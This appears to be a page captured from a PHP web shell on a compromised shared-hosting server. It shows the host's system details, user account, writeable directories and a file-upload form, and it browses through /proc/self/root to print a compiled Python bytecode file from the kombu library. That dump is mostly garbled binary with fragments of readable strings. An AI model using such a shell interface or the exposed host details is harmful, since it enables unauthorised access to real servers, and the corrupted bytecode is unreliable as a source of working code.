Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /proc/self/root/usr/local/lib/python3.9/site-packages/kombu/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/local/lib/python3.9/site-packages/kombu/__pycache__/pidbox.cpython-39.pyc
a

��Sh�9�@s"dZddlmZddlZddlZddlmZmZddlm	Z	ddl
m
Z
ddlmZddl
m
Z
d	d
lmZmZmZmZd	dlmZd	dlmZmZd	d
lmZd	dlmZd	dlmZd	dlmZm Z d	dl!m"Z"d	dl#m$Z$dZ%dZ&dZ'ee(�Z)e)j*e)j+Z*Z+Gdd�d�Z,Gdd�d�Z-dS)zGeneric process mailbox.�)�annotationsN)�defaultdict�deque)�contextmanager)�copy)�count)�time�)�Consumer�Exchange�Producer�Queue)�LamportClock)�
maybe_declare�oid_from)�InconsistencyError)�
get_logger)�match)�maybe_evaluate�reprcall)�cached_property)�uuid�
z�A node named {node.hostname} is already using this process mailbox!

Maybe you forgot to shutdown the other node or did not do so properly?
Or if you meant to start multiple nodes on the same host please make sure
you give each node a unique node name!
)�Node�Mailboxc@s�eZdZdZdZdZdZdZdZddd�Z	ddd�Z
dd	�Zd
d�Zddd
�Z
ddd�Zddd�Zdd�Zdd�Zddd�ZeZdd�ZdS) rz
Mailbox node.NcCs:||_||_||_||_|jjj|_|dur0i}||_dS�N)�channel�mailbox�hostname�state�clock�adjust�adjust_clock�handlers)�selfrrrr#r�r%�6/usr/local/lib/python3.9/site-packages/kombu/pidbox.py�__init__8sz
Node.__init__TcsP�j��j�}�fdd�}||_t|p*�j|gf||durB�jjn|d�|��S)Ncs|rt�tj�d��dS)N)�node)�warnings�warn�W_PIDBOX_IN_USE�format)�name�messagesZ	consumers�r$r%r&�verify_exclusiveFsz'Node.Consumer.<locals>.verify_exclusive)�no_ack�accept)r�	get_queuerZon_declaredr
rr2)r$rr1r2�options�queuer0r%r/r&r
Cs���z
Node.ConsumercCs||j|j<|Sr)r#�__name__)r$Zfunr%r%r&�handlerQszNode.handlercCstd|dd�dS)NzCannot decode message: %rr	��exc_info)�error)r$�message�excr%r%r&�on_decode_errorUszNode.on_decode_errorcCs&|j||p|jg|jd�}|��|S)N)r�	callbacksr=)r
�handle_messager=Zconsume)r$r�callback�consumerr%r%r&�listenXs
�zNode.listenc	
Ks�|pi}tdt|d|d�||�|r*|jp.|j}z|||�}WnPtyR�Yn>ty�}z&td|dd�dt|�i}WYd}~n
d}~00|r�|j|j	|i|d|d	|d
�|S)Nz1pidbox received method %s [reply_to:%s ticket:%s]r%)�kwargszpidbox command error: %rr	r8r:�exchange�routing_key)rDrE�ticket)
�debugr�handle_call�handle_cast�
SystemExit�	Exceptionr:�repr�replyr)	r$�method�	arguments�reply_torFrC�handlerMr<r%r%r&�dispatch_s&�"�z
Node.dispatchcCs$|sin|}|j||jfi|��Sr)r#r�r$rNrOr%r%r&rQtszNode.handlecCs|�||�Sr�rQrSr%r%r&rHxszNode.handle_callcCs|�||�SrrTrSr%r%r&rI{szNode.handle_castcCs�|�d�}|�d�}|�d�}|r8|�|j�d�p4d�|j}d}|rT||vrrd}n|rn|rnt|||�rrd}nd}|r�|jfi|��SdS)N�destination�pattern�matcherr rFT)�getr"�headersrrrR)r$�bodyr;rUrVrWrZrun_dispatchr%r%r&r?~s 


zNode.handle_messagecKs"|jj|||||j|jjd�dS)N)r�
serializer)r�_publish_replyrr[)r$�datarDrErFrCr%r%r&rM�s�z
Node.reply)NNNN)NTN)NN)NNN)N)N)r6�
__module__�__qualname__�__doc__rrr#rrr'r
r7r=rBrRrQrHrIr?Zdispatch_from_messagerMr%r%r%r&r&s,�


�


rc
@s�eZdZdZeZdZdZdZdZ	dZ
dZdZdgZ
dZd0dd	�Zd
d�Zd1dd
�Zd2dd�Zd3dd�Zd4dd�Zd5dd�Zdd�Zedd��Zdd�Zed6dd��Zd7dd �Zd8d!d"�Zd9d$d%�Zd:d&d'�Zd(d)�Zd*d+�Z e!d,d-��Z"ed.d/��Z#dS);rzProcess Mailbox.z	%s.pidboxzreply.%s.pidboxN�direct�json�$@cCs�||_||_||_|dur t�n||_|�|j|j�|_|�|j�|_t	t
�|_|dur^|jn||_|durr|j
n||_
||_|	|_|
|_||_||_dSr)�	namespace�
connection�typerr �
_get_exchangerD�_get_reply_exchange�reply_exchangerr�	unclaimedr2r[�	queue_ttl�
queue_expires�reply_queue_ttl�reply_queue_expires�_producer_pool)r$rdrfrer r2r[�
producer_poolrkrlrmrnr%r%r&r'�s
zMailbox.__init__cCst|�}||_|Sr)rre)r$re�boundr%r%r&�__call__�szMailbox.__call__cCs |p
t��}|j|||||d�S)N)r)�socket�gethostname�node_cls)r$rrrr#r%r%r&r�szMailbox.Nodec	Cs$|sin|}|j|||d|||d�S)NT)rM�timeoutr@r��
_broadcast)r$rU�commandrCrvr@rr%r%r&�call�s
�zMailbox.callcCs|sin|}|j|||dd�S�NF)rMrw)r$rUryrCr%r%r&�cast�szMailbox.castcCs|sin|}|j||dd�Sr{rw)r$ryrCr%r%r&�abcast�szMailbox.abcastr	c	Cs$|sin|}|j||d||||d�S)NT)rMrv�limitr@rrw)r$ryrCrvr~r@rr%r%r&�
multi_call�s
�zMailbox.multi_callc	Cs0|j}t|�d|jj��|j|dd|j|jd�S)N�.FT)rDrE�durable�auto_delete�expires�message_ttl)�oidr
rir-rnrm)r$r�r%r%r&�get_reply_queue�s�zMailbox.get_reply_queuecCs|��Sr)r�r/r%r%r&�reply_queue�szMailbox.reply_queuecCs(t|�d|j�d�|jdd|j|jd�S)Nr�z.pidboxFT)rDr�r�r�r�)r
rdrDrlrk)r$rr%r%r&r3�s�zMailbox.get_queueccsV|r|VnF|jrD|j���}|VWd�qR1s80Ynt|dd�VdS)NF)Zauto_declare)rp�acquirer)r$�producerrr%r%r&�producer_or_acquires&zMailbox.producer_or_acquirec		Ks�|p
|jj}t|dddd�}|�||��T}z0|j|f|||g||j��d�dd�|��WntylYn0Wd�n1s�0YdS)Nra�	transientF)Z
exchange_type�
delivery_moder�)rFr T)rDrE�declarerY�retry)re�default_channelrr��publishr �forwardr)	r$rMrDrErFrr��opts�chanr%r%r&r\
s(��
���
zMailbox._publish_replyc	Cs�||||	|
d�}|p|jj}|j}
|rNt|�|��|j||jj|jd�d�|pV|j	}|�
||��D}|j||
j|
g|j�
�|r�t�|ndd�|dd�Wd�n1s�0YdS)N)rNrOrUrVrW)rDrE)rFrPr)r r�T)rDr�rYr[r�)rer�rDrr��updaterir-r�r[r�r�r r�r)r$rfrOrU�reply_ticketrrvr[r�rVrWr;r�rDr%r%r&�_publish s0���

��zMailbox._publishFcCs�|dur(t|ttf�s(td�t|����|
durdt|
t�sd|durdt|t�sdtd�t|
�t|����|pji}|rvt�pxd}|p�|jj	}
|dur�|r�|r�t
|�p�d}|	p�|j}	|j|||||
||	|
|d�	|r�|j
|||||
d�SdS)Nz'destination must be a list/tuple not {}z.pattern and matcher must be strings not {}, {})rUr�rrvr[rVrW)r~rvr@r)�
isinstance�list�tuple�
ValueErrorr,rf�strrrer��lenr[r��_collect)r$ryrOrUrMrvr~r@rr[rVrWr�r�r%r%r&rx8sL�������

��zMailbox._broadcastc
s$|dur|j}|p|jj}|j}t||g|dd�}	g�|j�|jj�z����WSt	ybYn0�����fdd�}
|	�
|
�z�|	�h|r�t|�p�t�D]2}z|jj
|d�Wq�tjy�Yq�Yq�0q��Wd�W|�|j�S1�s�0YW|�|j�n|�|j�0dS)NT)r2r1csn|jj}�|d�pd�|d�}|r2t�|kr2dS|d��}|�kr\�rP�|���|�n�|�|�dS)Nr rr�rF)rYrXr�append)rZr;�headerr�Zthis_id�r"r@�	responsesrFrjr%r&�
on_messageps
z$Mailbox._collect.<locals>.on_message)rv)r2rer�r�r
rjr r!�pop�KeyErrorZregister_callback�rangerZdrain_eventsrsrvZafter_reply_message_receivedr-)r$rFr~rvr@rr2r�r5rAr��ir%r�r&r�_s2
�zMailbox._collectcCst|j||ddd�S)NFr��rfr�r�)r�exchange_fmt)r$rdrfr%r%r&rg�s

�zMailbox._get_exchangecCst|j|dddd�S)NraFr�r�)r�reply_exchange_fmt)r$rdr%r%r&rh�s

�zMailbox._get_reply_exchangecCst|�Sr)rr/r%r%r&r��szMailbox.oidcCs
t|j�Sr)rror/r%r%r&rp�szMailbox.producer_pool)
raNNNNNNNNrc)NNNN)NNNN)N)N)Nr	NNN)NN)NN)NNNNNNNN)
NNFr	NNNNNN)Nr	NNN)$r6r^r_r`rrur�r�rdrerfrDrir2r[r'rrrzr|r}rr�rr�r3rr�r\r�rxr�rgrh�propertyr�rpr%r%r%r&r�sh�

�


�



�
�
�
(�
,
r).r`�
__future__rrsr)�collectionsrr�
contextlibrr�	itertoolsrr�r
rrr
Zclocksr�commonrr�
exceptionsr�logrrWrZutils.functionalrrZ
utils.objectsrZ
utils.uuidrZREPLY_QUEUE_EXPIRESr+�__all__r6�loggerrGr:rrr%r%r%r&�<module>s0r

Yohohohohohooho | Sanrei Aya